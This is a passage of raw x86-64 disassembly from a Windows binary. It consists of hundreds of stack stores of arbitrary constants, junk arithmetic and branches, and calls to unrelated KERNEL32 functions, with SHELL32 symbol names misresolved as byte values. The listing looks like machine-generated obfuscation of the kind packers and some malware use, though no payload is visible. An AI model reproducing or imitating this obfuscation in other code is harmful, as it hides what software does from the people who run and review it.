mov eax, 0x9d4
mov word [rsp + 0x9f0], ax
mov byte [rsp + 0xdd], PathMakeUniqueName
movabs rax, 0x66f40446238afa4
mov qword [rsp + 0x4aa0], rax
lea rax, [rsp + 0x151d8]
lea rcx, str.Scolder_subregional
mov rdi, rax
mov rsi, rcx
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
movabs rax, 0x43bedb7fac43014c
mov qword [rsp + 0x4aa8], rax
mov dword [rsp + 0x2848], 0xeb46e224
movabs rax, 0xaf2bad97d20c5bc8
mov qword [rsp + 0x4ab0], rax
mov eax, 0x34e3
mov word [rsp + 0x9f4], ax
mov byte [rsp + 0xde], 0x92
movabs rax, 0x4189d45c9e06a5f5
mov qword [rsp + 0x4ab8], rax
mov byte [rsp + 0xdf], 0xc3
mov eax, 0xf4f
mov word [rsp + 0x9f8], ax
mov dword [rsp + 0x284c], 0x34b68be9
movabs rax, 0xef6c0a77ed4d424f
mov qword [rsp + 0x4ac0], rax
mov dword [rsp + 0x2850], 0x6384614
mov dword [rsp + 0x2854], 0x26516b48
mov dword [rsp + 0x2858], 0x6eb44343
mov eax, 0xe80
mov word [rsp + 0x9fc], ax
mov byte [rsp + 0xe0], 0xe3
mov dword [rsp + 0x285c], 0x1cfc828e
mov dword [rsp + 0x2860], 0x65201c9
mov byte [rsp + 0xe1], 0x8d
mov eax, 0x19f9
mov word [rsp + 0xa00], ax
mov dword [rsp + 0x2864], 0x6aa46933
movabs rax, 0x30412a59e84982e8
mov qword [rsp + 0x4ac8], rax
mov dword [rsp + 0x2868], 0x7dc032ff
mov eax, 0x79c
mov word [rsp + 0xa04], ax
mov dword [rsp + 0x286c], 0x6458e875
mov byte [rsp + 0xe2], 0xcd
movabs rax, 0x3cc0eb55f2b2cde
mov qword [rsp + 0x4ad0], rax
mov byte [rsp + 0xe3], 0x30
mov dword [rsp + 0x2870], 0x6ba89c17
mov byte [rsp + 0xe4], 0x92
mov eax, 0x7f56
mov word [rsp + 0xa08], ax
mov dword [rsp + 0x2874], 0x3036aa02
mov dword [rsp + 0x2878], 0x4ab60c88
mov byte [rsp + 0xe5], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov eax, 0x3df
mov word [rsp + 0xa0c], ax
mov eax, 0x400e
mov word [rsp + 0xa10], ax
mov dword [rsp + 0x287c], 0x40e1d2b8
mov dword [rsp + 0x2880], 0x31754b43
mov dword [rsp + 0x2884], 0x85f6c4f
mov dword [rsp + 0x2888], 0xf7c760d
movabs rax, 0x1d0e7156cb512054
mov qword [rsp + 0x4ad8], rax
movabs rax, 0x3feb45a0f6fd8f5f
mov qword [rsp + 0x4ae0], rax
mov dword [rsp + 0x288c], 0x61255f30
mov dword [rsp + 0x2890], 0x12c7c2b3
mov dword [rsp + 0x2894], 0x8c91cdf9
mov dword [rsp + 0x2898], 0xc12addb0
mov dword [rsp + 0x289c], 0x1dd8223b
mov dword [rsp + 0x28a0], 0x23805027
mov dword [rsp + 0x28a4], 0x6ede323f
movabs rax, 0x7ed481a5e306e93
mov qword [rsp + 0x4ae8], rax
movabs rax, 0x3cecd96cea2f836b
mov qword [rsp + 0x4af0], rax
mov eax, 0xa9a
mov word [rsp + 0xa14], ax
movabs rax, 0x2d9d67437320ec6a
mov qword [rsp + 0x4af8], rax
mov byte [rsp + 0xe6], 0x77
movabs rax, 0x4031239cfc454fb3
mov qword [rsp + 0x4b00], rax
movabs rax, 0x747f3b4ac05338fd
mov qword [rsp + 0x4b08], rax
mov eax, 0x238b
mov word [rsp + 0xa18], ax
movabs rax, 0xc3eec3469483dd8
mov qword [rsp + 0x4b10], rax
movabs rax, 0x52518e5bc617e0bf
mov qword [rsp + 0x4b18], rax
mov byte [rsp + 0xe7], ILFindChild
mov eax, 0x6090
mov word [rsp + 0xa1c], ax
mov dword [rsp + 0x28a8], 0x6df9b119
mov dword [rsp + 0x28ac], 0x779a13fd
mov dword [rsp + 0x28b0], 0x612984de
movabs rax, 0x8f19f2d4cc59cf41
mov qword [rsp + 0x4b20], rax
mov byte [rsp + 0xe8], 0x3a
mov byte [rsp + 0xe9], 0x91
movabs rax, 0x35560fb007ba09af
mov qword [rsp + 0x4b28], rax
mov eax, 0x68af
mov word [rsp + 0xa20], ax
movabs rax, 0x73328599507d7fcb
mov qword [rsp + 0x4b30], rax
movabs rax, 0x2abb02486429ae62
mov qword [rsp + 0x4b38], rax
movabs rax, 0x4757dd70edc54055
mov qword [rsp + 0x4b40], rax
mov byte [rsp + 0xea], reloc.SHELL32.dll_ILIsParent
mov eax, 0xaa7
mov word [rsp + 0xa24], ax
movabs rax, 0xc2c15586cc862d4
mov qword [rsp + 0x4b48], rax
mov eax, 0x95f
mov word [rsp + 0xa28], ax
mov eax, 0x69
mov word [rsp + 0xa2c], ax
mov byte [rsp + 0xeb], 0x32
mov dword [rsp + 0x28b4], 0x6a7292d
mov dword [rsp + 0x28b8], 0x2c6c4816
mov byte [rsp + 0xec], 0x5b
mov eax, 0x34e3
mov word [rsp + 0xa30], ax
mov dword [rsp + 0x28bc], 0xe2cd95d6
mov byte [rsp + 0xed], 0x5b
mov byte [rsp + 0xee], 0xb1
movabs rax, 0x29ab7ede2f835fe
mov qword [rsp + 0x4b50], rax
mov byte [rsp + 0xef], ILFindChild
mov eax, 0xd2c
mov word [rsp + 0xa34], ax
movabs rax, 0xfe03affb903df081
mov qword [rsp + 0x4b58], rax
mov byte [rsp + 0xf0], 0xe1
mov dword [rsp + 0x28c0], 0x861a0b7
movabs rax, 0x239958dbd22ceae
mov qword [rsp + 0x4b60], rax
mov eax, 0xc1f
mov word [rsp + 0xa38], ax
mov byte [rsp + 0xf1], 0x43
mov dword [rsp + 0x28c4], 0xe569323d
movabs rax, 0x109911e8ff8dc8a0
mov qword [rsp + 0x4b68], rax
mov eax, 0xf7b
mov word [rsp + 0xa3c], ax
mov byte [rsp + 0xf2], 0x22
mov byte [rsp + 0xf3], 0x6e
mov byte [rsp + 0xf4], 0xea
movabs rax, 0x2a41e37cae568a54
mov qword [rsp + 0x4b70], rax
movabs rax, 0x58832329f2ce477e
mov qword [rsp + 0x4b78], rax
mov eax, 0x3309
mov word [rsp + 0xa40], ax
mov eax, 0xe72
mov word [rsp + 0xa44], ax
movabs rax, 0x25de1071f95f34e2
mov qword [rsp + 0x4b80], rax
movabs rax, 0x22b585dae6407d84
mov qword [rsp + 0x4b88], rax
mov dword [rsp + 0x28c8], 0x780a569e
mov byte [rsp + 0xf5], SHDoDragDrop
movabs rax, 0x1db01dd9ddbdb5c1
mov qword [rsp + 0x4b90], rax
mov byte [rsp + 0xf6], 1
mov byte [rsp + 0xf7], 5
movabs rax, 0x7e373f434355f3c6
mov qword [rsp + 0x4b98], rax
movabs rax, 0xf4c61033e0e36aa8
mov qword [rsp + 0x4ba0], rax
movabs rax, 0x5117159d4374dfc2
mov qword [rsp + 0x4ba8], rax
movabs rax, 0x9eafa19086aadb94
mov qword [rsp + 0x4bb0], rax
mov dword [rsp + 0x28cc], 0x7bd1a610
mov byte [rsp + 0xf8], ILFree
mov eax, 0x799c
mov word [rsp + 0xa48], ax
movabs rax, 0x6468ecfdc06f18c4
mov qword [rsp + 0x4bb8], rax
mov eax, 0x4050
mov word [rsp + 0xa4c], ax
mov dword [rsp + 0x28d0], 0x7eed7537
mov dword [rsp + 0x28d4], 0xc20772c0
mov eax, 0xcd3
mov word [rsp + 0xa50], ax
mov dword [rsp + 0x28d8], 0x131a6fdb
movabs rax, 0x7f1d7791cf541d73
mov qword [rsp + 0x4bc0], rax
mov eax, 0x341
mov word [rsp + 0xa54], ax
mov dword [rsp + 0x28dc], 0x202e4c71
mov byte [rsp + 0xf9], 0xa7
movabs rax, 0x73b1e6e60a988622
mov qword [rsp + 0x4bc8], rax
mov dword [rsp + 0x28e0], 0x5fbf5a62
mov dword [rsp + 0x28e4], 0x76e8ee96
mov byte [rsp + 0xfa], 0x50
mov dword [rsp + 0x28e8], 0x19fc4ed0
movabs rax, 0x1cbe296c2c7dc4ea
mov qword [rsp + 0x4bd0], rax
movabs rax, 0x65ee683df06fc14f
mov qword [rsp + 0x4bd8], rax
mov byte [rsp + 0xfb], 0x23
mov byte [rsp + 0xfc], 0x70
mov byte [rsp + 0xfd], 0xcd
mov dword [rsp + 0x28ec], 0xfa60776
mov dword [rsp + 0x28f0], 0x78cd9400
mov eax, 0x376
mov word [rsp + 0xa58], ax
mov eax, 0xb1a
mov word [rsp + 0xa5c], ax
movabs rax, 0xf1308d84e76a9fbf
mov qword [rsp + 0x4be0], rax
mov eax, 0x9d8
mov word [rsp + 0xa60], ax
movabs rax, 0x783744b05093663f
mov qword [rsp + 0x4be8], rax
mov eax, 0x5bd
mov word [rsp + 0xa64], ax
mov dword [rsp + 0x28f4], 0x2edbbcad
mov byte [rsp + 0xfe], 8
mov byte [rsp + 0xff], 0x1c
mov byte [rsp + 0x100], 3
mov byte [rsp + 0x101], 0x4f
mov dword [rsp + 0x28f8], 0x790f3073
mov byte [rsp + 0x102], reloc.SHELL32.dll_ILCombine
mov byte [rsp + 0x103], ILFree
mov eax, 0x7f28
mov word [rsp + 0xa68], ax
mov byte [rsp + 0x104], 0xf7
movabs rax, 0x6001f9af8e8d2726
mov qword [rsp + 0x4bf0], rax
movabs rax, 0x9a8a2432dbfd3c04
mov qword [rsp + 0x4bf8], rax
mov byte [rsp + 0x105], SHUpdateImageW
mov dword [rsp + 0x28fc], 0x18d5684c
mov eax, 0x888
mov word [rsp + 0xa6c], ax
mov dword [rsp + 0x2900], 0x2fe6417f
movabs rax, 0x5f23b27e43a41a43
mov qword [rsp + 0x4c00], rax
movabs rax, 0x69ffed72c5ee4dfc
mov qword [rsp + 0x4c08], rax
mov byte [rsp + 0x106], 0xa
mov dword [rsp + 0x2904], 0x422d76dd
movabs rax, 0x14fc647ef119be4c
mov qword [rsp + 0x4c10], rax
mov byte [rsp + 0x107], 0x64
mov eax, 0x1755
mov word [rsp + 0xa70], ax
mov byte [rsp + 0x108], 0xf3
movabs rax, 0x5705e14372722912
mov qword [rsp + 0x4c18], rax
mov eax, 0x5d2a
mov word [rsp + 0xa74], ax
mov byte [rsp + 0x109], 0x3c
mov eax, 0x26a7
mov word [rsp + 0xa78], ax
movabs rax, 0x32154439b26e37b5
mov qword [rsp + 0x4c20], rax
mov eax, 0xe8c
mov word [rsp + 0xa7c], ax
mov eax, 0x95
mov word [rsp + 0xa80], ax
mov eax, 0x1a2
mov word [rsp + 0xa84], ax
mov eax, 0x260
mov word [rsp + 0xa88], ax
mov eax, 0x4ea0
mov word [rsp + 0xa8c], ax
mov eax, 0x6d8
mov word [rsp + 0xa90], ax
mov byte [rsp + 0x10a], 0x77
mov eax, 0xe7f
mov word [rsp + 0xa94], ax
mov byte [rsp + 0x10b], 8
movabs rax, 0x2b16c79747d104d1
mov qword [rsp + 0x4c28], rax
mov byte [rsp + 0x10c], ILFree
mov byte [rsp + 0x10d], 0x30
mov dword [rsp + 0x2908], 0xfe25ca70
mov eax, 0x2a4e
mov word [rsp + 0xa98], ax
mov eax, 0x21c1
mov word [rsp + 0xa9c], ax
mov byte [rsp + 0x10e], 0x32
mov eax, 0xfe5
mov word [rsp + 0xaa0], ax
mov byte [rsp + 0x10f], 0xf7
mov byte [rsp + 0x110], 0xe8
mov eax, 0x464
mov word [rsp + 0xaa4], ax
mov eax, 0xeb
mov word [rsp + 0xaa8], ax
mov eax, 0x2ba1
mov word [rsp + 0xaac], ax
movabs rax, 0xf4046912306bb1a8
mov qword [rsp + 0x4c30], rax
mov byte [rsp + 0x111], 0x7c
movabs rax, 0x3564e049dd8452f2
mov qword [rsp + 0x4c38], rax
movabs rax, 0x6a9330502b4c022a
mov qword [rsp + 0x4c40], rax
mov byte [rsp + 0x112], 0xed
mov eax, 0xfce
mov word [rsp + 0xab0], ax
movabs rax, 0x6e10d67d6e287073
mov qword [rsp + 0x4c48], rax
movabs rax, 0xa3eb999e053a3af7
mov qword [rsp + 0x4c50], rax
movabs rax, 0x5a7673de62516f
mov qword [rsp + 0x4c58], rax
movabs rax, 0x3bff0d9825f7f61
mov qword [rsp + 0x4c60], rax
mov byte [rsp + 0x113], 0xe9
mov eax, 0x7acd
mov word [rsp + 0xab4], ax
mov eax, 0x2c1d
mov word [rsp + 0xab8], ax
movabs rax, 0x2a33e20117d460c5
mov qword [rsp + 0x4c68], rax
movabs rax, 0x53bee8e2aa17802e
mov qword [rsp + 0x4c70], rax
mov dword [rsp + 0x290c], 0xec772901
mov byte [rsp + 0x114], 6
movabs rax, 0x1363ff597f27d629
mov qword [rsp + 0x4c78], rax
movabs rax, 0x1272564096d441b
mov qword [rsp + 0x4c80], rax
movabs rax, 0x761ba17102a9d980
mov qword [rsp + 0x4c88], rax
movabs rax, 0x5e56b7942441da09
mov qword [rsp + 0x4c90], rax
mov byte [rsp + 0x115], 0x67
mov eax, 0x554
mov word [rsp + 0xabc], ax
mov byte [rsp + 0x116], 0x27
mov dword [rsp + 0x2910], 0x1f1cb63f
mov dword [rsp + 0x2914], 0xda7dcfca
mov eax, 0x3fc
mov word [rsp + 0xac0], ax
mov byte [rsp + 0x117], 0x6c
mov eax, 0x1ba8
mov word [rsp + 0xac4], ax
movabs rax, 0x77a004c682fcf7aa
mov qword [rsp + 0x4c98], rax
mov dword [rsp + 0x2918], 0x4f2bc771
mov eax, 0x7b16
mov word [rsp + 0xac8], ax
mov eax, 0xbfc
mov word [rsp + 0xacc], ax
mov dword [rsp + 0x291c], 0x1881628f
mov eax, 0x790d
mov word [rsp + 0xad0], ax
movabs rax, 0xe2b412e7a74845ef
mov qword [rsp + 0x4ca0], rax
mov eax, 0x6b7c
mov word [rsp + 0xad4], ax
mov dword [rsp + 0x2920], 0x4f066528
mov dword [rsp + 0x2924], 0x61af9403
mov eax, 0x6e22
mov word [rsp + 0xad8], ax
movabs rax, 0x3d031096e5822f45
mov qword [rsp + 0x4ca8], rax
mov byte [rsp + 0x118], 0x33
mov byte [rsp + 0x119], 0x6a
movabs rax, 0x73d78e19ef64820f
mov qword [rsp + 0x4cb0], rax
mov byte [rsp + 0x11a], 0x65
movabs rax, 0x6290e6d0f2661d57
mov qword [rsp + 0x4cb8], rax
mov byte [rsp + 0x11b], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x2928], 0x6942a79b
movabs rax, 0xfe1b09ea5bb8594a
mov qword [rsp + 0x4cc0], rax
mov byte [rsp + 0x11c], 0x24
mov byte [rsp + 0x11d], 0x30
mov eax, 0x72
mov word [rsp + 0xadc], ax
movabs rax, 0x107a19c144ad18ee
mov qword [rsp + 0x4cc8], rax
mov byte [rsp + 0x11e], 0xc1
mov byte [rsp + 0x11f], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x809f16473178cdf8
mov qword [rsp + 0x4cd0], rax
mov dword [rsp + 0x292c], 0x72e6f9fb
mov dword [rsp + 0x2930], 0xbe3098c5
mov eax, 0x84f
mov word [rsp + 0xae0], ax
mov byte [rsp + 0x120], 0x83
mov eax, 0x44c
mov word [rsp + 0xae4], ax
mov byte [rsp + 0x121], 0x6b
mov dword [rsp + 0x2934], 0x77139aa
movabs rax, 0x1352050b9692bd6f
mov qword [rsp + 0x4cd8], rax
movabs rax, 0xfce9a440f16e818f
mov qword [rsp + 0x4ce0], rax
movabs rax, 0x1d4bc7a9619e306f
mov qword [rsp + 0x4ce8], rax
mov byte [rsp + 0x122], 0x26
mov eax, 0x4b7
mov word [rsp + 0xae8], ax
mov dword [rsp + 0x2938], 0xf28b7c89
mov dword [rsp + 0x293c], 0x5b09bd8f
mov byte [rsp + 0x123], SHDoDragDrop
mov byte [rsp + 0x124], 0x38
mov eax, 0x376
mov word [rsp + 0xaec], ax
mov dword [rsp + 0x2940], 0xbd0c0b73
movabs rax, 0x5dd47b2e177b1d14
mov qword [rsp + 0x4cf0], rax
mov eax, 0x394
mov word [rsp + 0xaf0], ax
movabs rax, 0x8435f28cc661c7ce
mov qword [rsp + 0x4cf8], rax
mov eax, 0xb1b
mov word [rsp + 0xaf4], ax
movabs rax, 0x1bb02caecce164f2
mov qword [rsp + 0x4d00], rax
mov eax, 0x5a1
mov word [rsp + 0xaf8], ax
movabs rax, 0xf0220005d84a3f6f
mov qword [rsp + 0x4d08], rax
mov byte [rsp + 0x125], ILFindChild
mov byte [rsp + 0x126], 0x5f
mov eax, 0x7c80
mov word [rsp + 0xafc], ax
movabs rax, 0x48cd5b32794e5565
mov qword [rsp + 0x4d10], rax
mov dword [rsp + 0x2944], 0xcd8d8507
mov byte [rsp + 0x127], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x128], SHDoDragDrop
mov byte [rsp + 0x129], 0x20
mov dword [rsp + 0x2948], 0x2419abf1
movabs rax, 0x645104a15025a346
mov qword [rsp + 0x4d18], rax
mov dword [rsp + 0x294c], 0x2bffa794
mov dword [rsp + 0x2950], 0xfa624bf8
mov dword [rsp + 0x2954], 0xde7ed063
mov dword [rsp + 0x2958], 0x405bc01f
mov eax, 0xc07
mov word [rsp + 0xb00], ax
mov byte [rsp + reloc.SHELL32.dll_ILClonea], 0x12
mov byte [rsp + 0x12b], 0x5a
movabs rax, 0x534bd00436e0be66
mov qword [rsp + 0x4d20], rax
movabs rax, 0x2f821006bedc03c7
mov qword [rsp + 0x4d28], rax
mov byte [rsp + 0x12c], 0x33
mov dword [rsp + 0x295c], 0x3bc34c42
movabs rax, 0x299d123c7fb39d34
mov qword [rsp + 0x4d30], rax
mov eax, reloc.SHELL32.dll_ILCloneFirst
mov word [rsp + 0xb04], ax
movabs rax, 0x4f417bb77a4562ac
mov qword [rsp + 0x4d38], rax
mov byte [rsp + 0x12d], 0xa
mov dword [rsp + 0x2960], 0xa735821f
mov dword [rsp + 0x2964], 0x9c478224
mov eax, 0x1a5
mov word [rsp + 0xb08], ax
mov eax, 0x8d8
mov word [rsp + 0xb0c], ax
mov dword [rsp + 0x2968], 0x7a98ec39
mov byte [rsp + 0x12e], 0x6c
movabs rax, 0xed668aa849c249e8
mov qword [rsp + 0x4d40], rax
movabs rax, 0x4a9a7c1787871e7f
mov qword [rsp + 0x4d48], rax
mov eax, 0xef9
mov word [rsp + 0xb10], ax
mov byte [rsp + 0x12f], 0x36
movabs rax, 0x666bb120de8f02fe
mov qword [rsp + 0x4d50], rax
mov eax, 0x247b
mov word [rsp + 0xb14], ax
mov byte [rsp + 0x130], 0xce
mov dword [rsp + 0x296c], 0xdc933d0c
mov byte [rsp + 0x131], SHDoDragDrop
movabs rax, 0x28edcb68f3699762
mov qword [rsp + 0x4d58], rax
mov eax, 0x95b
mov word [rsp + 0xb18], ax
mov dword [rsp + 0x2970], 0x14d05695
mov byte [rsp + 0x132], 0x6b
mov dword [rsp + 0x2974], 0xd7cb
movzx eax, byte [rsp + 0xbb]
sub eax, 0x66
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xbb]
cmp eax, 0xe3
jle 0x14005696e
call fcn.140149a00
nop
jmp 0x140056a10
movzx eax, byte [rsp + 0xbb]
add eax, 0x4b
cmp eax, 0x17
jge 0x140056a10
movzx eax, byte [rsp + 0xbb]
imul eax, eax, 0x41
cmp eax, 0xa0
jg 0x1400569f6
movzx eax, byte [rsp + 0xbb]
xor eax, 0xce
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x2978], al
cmp byte [rsp + 0x2978], 0x6c
je 0x1400569c3
jmp 0x1400569e2
lea rdx, [rsp + 0xbb]
mov rcx, qword [rsp + 0x4d60]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x297c], eax
jmp 0x1400569f4
movsx eax, byte [rsp + 0x132]
or eax, 0x58
mov byte [rsp + 0x132], al
jmp 0x140056a10
movzx eax, byte [rsp + 0xbb]
and eax, 0x3b
cmp eax, 0x6f
jg 0x140056a10
mov cx, 0xe2
call fcn.140149e50
nop
mov dword [rsp + 0x2980], 0xab33
mov eax, 0xf2e
mov word [rsp + 0xb1c], ax
mov dword [rsp + 0x2984], 0xb533
movabs rax, 0x653245fed8b79074
mov qword [rsp + 0x4d68], rax
movabs rax, 0x3541c049a84066e8
mov qword [rsp + 0x4d70], rax
movzx eax, word [rsp + 0xb1c]
cmp eax, 0xb39
jg 0x140056aeb
mov rcx, qword [rsp + 0x4d78]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x2988], eax
movabs rax, 0x533a268f3b96caff
cmp qword [rsp + 0x4d70], rax
jg 0x140056aeb
movzx eax, byte [rsp + 0xbb]
sar eax, 3
mov byte [rsp + 0xbb], al
mov ecx, 0x43
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x298c], eax
mov rax, qword [rsp + 0x4d68]
shl rax, 0x38
mov qword [rsp + 0x4d68], rax
movabs rax, 0x54c4dfa910b032c2
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov dword [rsp + 0x2990], 0x2b72
movabs rax, 0x3b4cfa91886b48a7
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
movabs rcx, 0xdf590d5cf91dc7f
cmp rax, rcx
jle 0x1401490be
movzx eax, word [rsp + 0xb1c]
cmp eax, 0x9d6
jle 0x14014904a
mov rax, qword [rsp + 0x4d68]
mov qword [rsp + 0x4d80], rax
mov eax, dword [rsp + 0x2994]
mov dword [rsp + 0x2998], eax
cmp dword [rsp + 0x2998], 0xc08d22e9
je 0x140056b64
jmp 0x140056c48
mov eax, dword [rsp + 0x2988]
mov dword [rsp + 0x299c], eax
mov eax, dword [rsp + 0x2988]
mov dword [rsp + 0x29a0], eax
cmp dword [rsp + 0x29a0], 0x397b1e00
je 0x140056c2e
cmp dword [rsp + 0x29a0], 0x70679d1c
je 0x140056ba3
jmp 0x140056c43
movabs rax, 0x3dd2a5f5bebe6da0
cmp qword [rsp + 0x4d70], rax
jl 0x140056bd4
lea rdx, [rsp + 0x4d60]
mov rcx, qword [rsp + 0x4d60]
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov dword [rsp + 0x29a4], eax
mov rax, qword [rsp + 0x4d80]
shl rax, 0xeb
cmp rax, qword [rsp + 0x4d68]
je 0x140056c2c
movzx eax, byte [rsp + 0xbb]
and eax, 0xa2
mov byte [rsp + 0xbb], al
mov word [rsp + 0x20], 0xc7
mov r9d, dword [rsp + 0x2994]
movzx r8d, word [rsp + 0xb1c]
movzx edx, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4d70]
call fcn.14014a410
nop
jmp 0x140056c43
movzx eax, word [rsp + 0xb1c]
sub eax, 0xe8e
mov word [rsp + 0xb1c], ax
jmp 0x140148fe9
lea rax, [rsp + 0x132]
mov qword [rsp + 0x4d88], rax
mov dword [rsp + 0x29a8], 0x78d1
mov dword [rsp + 0x29ac], 0xc273
mov eax, dword [rsp + 0x299c]
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, byte [rsp + 0x132]
add eax, 0x72
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movabs rax, 0x1f5615d1cf1154e6
mov rcx, qword [rsp + 0x4d68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov eax, dword [rsp + 0x2980]
add eax, 0xea
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
and eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbb]
add eax, 0x68
mov byte [rsp + 0xbb], al
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
movsx eax, byte [rsp + 0x132]
sub eax, 0x1d
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movabs rax, 0x4d0741793d7fb9c7
mov rcx, qword [rsp + 0x4d70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sar eax, cl
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
shl rax, 0x2c
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
and eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
add eax, 0x23
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov eax, dword [rsp + 0x2994]
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movabs rax, 0x581f3042a7630301
mov rcx, qword [rsp + 0x4d68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
movabs rax, 0x240cbb31eaf4e6c6
mov rcx, qword [rsp + 0x4d80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4d88]
movzx ecx, byte [rsp + 0x132]
mov byte [rax], cl
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
sub eax, 0x7e
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4d70]
sar rax, 0x3a
mov qword [rsp + 0x4d70], rax
movzx eax, byte [rsp + 0xbb]
shl eax, 5
mov byte [rsp + 0xbb], al
movsx eax, byte [rsp + 0x132]
or eax, 0x2a
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, byte [rsp + 0x132]
xor eax, 0x62
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movabs rax, 0x5a4e37899d23da1a
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2994]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
sub eax, 0x6d
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
sub eax, 0x2c
mov byte [rsp + 0x132], al
movzx eax, word [rsp + 0xb1c]
add eax, 0xc5b
mov word [rsp + 0xb1c], ax
movzx eax, byte [rsp + 0xbb]
and eax, 0xf8
mov byte [rsp + 0xbb], al
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
movabs rax, 0x2c7c68e1be5a546a
mov rcx, qword [rsp + 0x4d70]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d68]
shl rax, 0x25
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x4d70]
sar rax, 0xe
mov qword [rsp + 0x4d70], rax
movabs rax, 0x31e9a935741bf0fa
mov rcx, qword [rsp + 0x4d68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb1c]
and eax, 0x390
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
sub eax, 0x7a
mov byte [rsp + 0x132], al
movabs rax, 0x67d2a7bc2396085c
mov rcx, qword [rsp + 0x4d80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
cmp dword [rsp + 0x2980], 0xfba3
jne 0x140056c6e
lea rax, [rsp + 0x4d70]
mov qword [rsp + 0x4d90], rax
mov eax, dword [rsp + 0x2994]
mov dword [rsp + 0x299c], eax
mov dword [rsp + 0x29b0], 0x3669
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov byte [rsp + 0x29b4], al
cmp byte [rsp + 0x29b4], 0xba
je 0x140057165
cmp byte [rsp + 0x29b4], 1
